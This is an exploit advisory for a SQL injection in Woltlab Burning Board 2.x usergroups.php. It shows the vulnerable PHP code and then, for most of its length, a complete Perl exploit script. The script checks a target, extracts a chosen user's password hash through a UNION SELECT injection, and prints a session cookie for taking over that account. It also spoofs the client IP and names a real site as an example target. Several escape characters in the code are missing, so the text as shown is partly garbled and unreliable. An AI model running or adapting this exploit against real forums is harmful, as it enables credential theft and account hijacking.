Woltab Burning Board SQL Injection usergroups.php

2007.03.23
Credit: x666
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Hi, A new SQL Injection in the wbb2.x [CODE] /** delete applications (groupleader) **/ if ($action == 'groupleaders_deleteapplications') { $deleteids = array(); if (is_array($_POST['applicationids'])) while (list($applicationid, $val) = each($_POST['applicationids'])) if ($val == 1) $deleteids[] = $applicationid; if ($deleteids) { $result = $db->query("SELECT a.applicationid,gl.userid FROM bb".$n."_applications a LEFT JOIN bb".$n."_groupleaders gl ON (gl.groupid=a.groupid) WHERE applicationid IN(".implode(",", $deleteids).") AND gl.userid='$wbbuserdata[userid]'"); while ($row = $db->fetch_array($result)) if ($row['userid'] == $wbbuserdata['userid']) $db->unbuffered_query("DELETE FROM bb".$n."_applications WHERE applicationid='$row[applicationid]'", 1); } header("Location: usergroups.php?action=groupleaders" . $SID_ARG_2ND_UN); exit; } [/CODE] [EXPLOIT] #!/usr/bin/perl # Woltlab Burning Board 2.X usergroups.php SQL Injection exploit - burned2.pl # written by x666 <blueshisha (at) safe-mail (dot) net [email concealed]> # jmp-esp.kicks-ass.net;blueshisha.chills.it # SR-CREW # should work on every wbb regardless of php settings. # # use strict; use warnings; use LWP::UserAgent; use HTTP::Response; use HTTP::Status; use Getopt::Std; getopt('uiUpAcC'); our ( $opt_u, $opt_i, $opt_s, $opt_U, $opt_p, $opt_A, $opt_c, $opt_C ); my $target = shift; sub do_request($$); if ( !$target ) { &HELP_MESSAGE; } if ( !$opt_U && !$opt_C) { &HELP_MESSAGE; } my ( $host, $folder ); if ( $target =~ /(?:http://)?([w.-_]*)(/.*)?/ ) { $host = $1; $folder = ( $2 ? $2 : '/' ); if ( $folder !~ //$/ ) { $folder .= '/'; } $target = "http://$host$folder" . 'usergroups.php'; } else { &HELP_MESSAGE; } my $ip = ( $opt_i ? $opt_i : '127.0.0.1' ); my ( $userid, $userpassword, $proxy, $proxyip ); ( $userid, $userpassword ) = split( ':', $opt_U ) if $opt_U; ( $proxy, $proxyip ) = split( ':', $opt_p ) if $opt_p; my $uid = ( $opt_u ? $opt_u : 1 ); my $useragent = ( $opt_A ? $opt_A : 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' ); my $prefix = ( $opt_c ? $opt_c : 'wbb2_' ); my $isHash = 0; print "burned2.pl written by x666n"; print "report errors @ blueshisha@safe-mail.net.. thxn"; print "[x] Attacking $target...n"; if ( $userpassword and $userpassword =~ /([a-f0-9]{32})/ ) { $isHash = 1; } if ( !$opt_c ) { my $headers = do_request( '', '' ); if ( $headers =~ /Set-Cookie: (.*?)cookiehash/ ) { $prefix = $1; } else { print $headers} } print "[x] Cookie prefix: $prefixn"; print "[x] Vulnerable check:"; my $answer; my $pre; $answer = do_request( ''', '' ); if ( $answer =~ /FROM (.*?)_applications/ ) { $pre = $1; print " Vulnerablen"; } elsif ($answer =~ /Ihnen wird der Zutritt zu dieser Seite/ or $answer =~ /Access denied/ ) { print " No Idean"; print "[x] usergroups.php only for users,"; print " wrong userdetails or wrong cookie-prefix!n" if $opt_U; exit; } else { print " Not Vulnerable!n"; print $answer; exit; } print "[x] Unleashing black magic...n"; $answer = do_request( '/**/UNIoN/**/ SeLeCT/**/ CoNcAT(password,CHAR(39)),'.$userid.' FROM '.$pre.'_users wHere userid%3D'.$uid.'/*%5D','' ); if ( $answer =~ /${folder}usergroups.php/ and $answer =~ /([a-f0-9]{32})/ ) { print "[x] Looks good!n"; print "[x] Userid: $uidn"; print "[x] Hash: $1n"; if ( !$opt_C ) { print "[x] Use this Cookie:n ${prefix}userid=$uid;${prefix}userpassword=$1n"; } } else { print "[x] Looks bad!n"; print $answer; } sub HELP_MESSAGE() { print "burned2.pl written by x666n" . "perl $0 [options] urln" . "examples:n" . "perl $0 -U 10:123456 woltlab.de/de/forum/n" . "perl $0 -u 2 -i 127.0.0.2 -U 10:123456 woltlab.de/de/forum/n" . "overwrite -c only when the auto-check " . "gives you a false resultn" . "use -C when you need some special cookiesn" . "options :n-u userid of victim [1]n" . "-i faked client-ip [127.0.0.1]n" . "-U userid:password or userid:pwhash [none]n" . "-p proxyip:proxyport [none]n" . "-A user-agent [firefox 1.5.09]n" . "-c cookie-prefix [auto-check]n" . "-C raw cookien"; exit; } sub do_request($$) { my $string = shift; my $otherurl = shift; if ($otherurl) { $target = "http://$host$folder" . $otherurl; } else { $target = "http://$host$folder" . 'usergroups.php' } $string = '/*' if ( !$string ); my $ua = LWP::UserAgent->new; if ($proxy) { $ua->proxy( 'http', "http://$proxy:$proxyip/" ); } my $request = new HTTP::Request( 'POST', $target ); $request->content( 'applicationids%5B0)' . $string . '%5D=1' . '&action=groupleaders_deleteapplications'); $request->authorization_basic('projectb', 'neustart'); $request->content_type('application/x-www-form-urlencoded'); $request->header( 'User-Agent' => $useragent ); if ($opt_U) { my $userhash; if ( !$isHash ) { $userhash = md5($userpassword); } else { $userhash = $userpassword; } my $cookie = $prefix . 'userid=' . $userid . ';' . $prefix . 'userpassword=' . $userhash; $request->header( 'Cookie' => $cookie ); } elsif ($opt_C) { $request->header( 'Cookie' => $opt_C ); $userid=3265; } $request->header( 'Client-Ip' => $ip ); my $response = $ua->request($request); my $body = $response->content; my $headers = $response->headers_as_string; $body = $response->error_as_HTML if ( $response->is_error ); return $headers if ( $string eq '/*' and !$response->is_error ); return $body; } # MD5 Code ripped from Libwhisker for bigger portability # thx rfp :) { my ( @S, @T, @M ); my $code = ''; sub md5 { return undef if ( !defined $_[0] ); # oops, forgot the data my $DATA = _md5_pad( $_[0] ); &_md5_init() if ( !defined $M[0] ); return _md5_perl_generated( $DATA ); } sub _md5_init { return if ( defined $S[0] ); my $i; for ( $i = 1 ; $i <= 64 ; $i++ ) { $T[ $i - 1 ] = int( ( 2**32 ) * abs( sin($i) ) ); } my @t = ( 7, 12, 17, 22, 5, 9, 14, 20, 4, 11, 16, 23, 6, 10, 15, 21 ); for ( $i = 0 ; $i < 64 ; $i++ ) { $S[$i] = $t[ ( int( $i / 16 ) * 4 ) + ( $i % 4 ) ]; } @M = ( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 1, 6, 11, 0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12, 5, 8, 11, 14, 1, 4, 7, 10, 13, 0, 3, 6, 9, 12, 15, 2, 0, 7, 14, 5, 12, 3, 10, 1, 8, 15, 6, 13, 4, 11, 2, 9 ); &_md5_generate(); my $TEST = _md5_pad('foobar'); if ( _md5_perl_generated( $TEST ) ne '3858f62230ac3c915f300c664312c63f' ) { die('Error: MD5 self-test not successful.'); } } sub _md5_pad { my $l = length( my $msg = shift() . chr(128) ); $msg .= "&#65533;" x ( ( $l % 64 <= 56 ? 56 : 120 ) - $l % 64 ); $l = ( $l - 1 ) * 8; $msg .= pack 'VV', $l & 0xffffffff, ( $l >> 16 >> 16 ); return $msg; } sub _md5_generate { my $N = 'abcddabccdabbcda'; my ( $i, $M ) = ( 0, '' ); $M = '&0xffffffff' if ( ( 1 << 16 ) << 16 ); # mask for 64bit systems $code = <<EOT; sub _md5_perl_generated { BEGIN { $^H |= 1; }; # use integer my ($A,$B,$C,$D)=(0x67452301,0xefcdab89,0x98badcfe,0x10325476); my ($a,$b,$c,$d,$t,$i); my $dr=shift; my $l=length($$dr); for my $L (0 .. (($l/64)-1) ) { my @D = unpack('V16', substr($$dr, $L*64,64)); ($a,$b,$c,$d)=($A,$B,$C,$D); EOT for ( $i = 0 ; $i < 16 ; $i++ ) { my ( $a, $b, $c, $d ) = split( '', substr( $N, ( $i % 4 ) * 4, 4 ) ); $code .= "$t=(($$d^($$b&($$c^$$d)))+$$a+$D[$M[$i]]+$T[$i])$M;n"; $code .= "$$a=((($t<<$S[$i])|(($t>>(32-$S[$i]))&((1<<$S[$i])-1)))+$$b)$M;n"; } for ( ; $i < 32 ; $i++ ) { my ( $a, $b, $c, $d ) = split( '', substr( $N, ( $i % 4 ) * 4, 4 ) ); $code .= "$t=(($$c^($$d&($$b^$$c)))+$$a+$D[$M[$i]]+$T[$i])$M;n"; $code .= "$$a=((($t<<$S[$i])|(($t>>(32-$S[$i]))&((1<<$S[$i])-1)))+$$b)$M;n"; } for ( ; $i < 48 ; $i++ ) { my ( $a, $b, $c, $d ) = split( '', substr( $N, ( $i % 4 ) * 4, 4 ) ); $code .= "$t=(($$b^$$c^$$d)+$$a+$D[$M[$i]]+$T[$i])$M;n"; $code .= "$$a=((($t<<$S[$i])|(($t>>(32-$S[$i]))&((1<<$S[$i])-1)))+$$b)$M;n"; } for ( ; $i < 64 ; $i++ ) { my ( $a, $b, $c, $d ) = split( '', substr( $N, ( $i % 4 ) * 4, 4 ) ); $code .= "$t=(($$c^($$b|(~$$d)))+$$a+$D[$M[$i]]+$T[$i])$M;n"; $code .= "$$a=((($t<<$S[$i])|(($t>>(32-$S[$i]))&((1<<$S[$i])-1)))+$$b)$M;n"; } $code .= <<EOT; $A=$A+$a&0xffffffff; $B=$B+$b&0xffffffff; $C=$C+$c&0xffffffff; $D=$D+$d&0xffffffff; } # for return unpack('H*', pack('V4',$A,$B,$C,$D)); } EOT eval "$code"; } } # md5 package container [/EXPLOIT] Greets, 666


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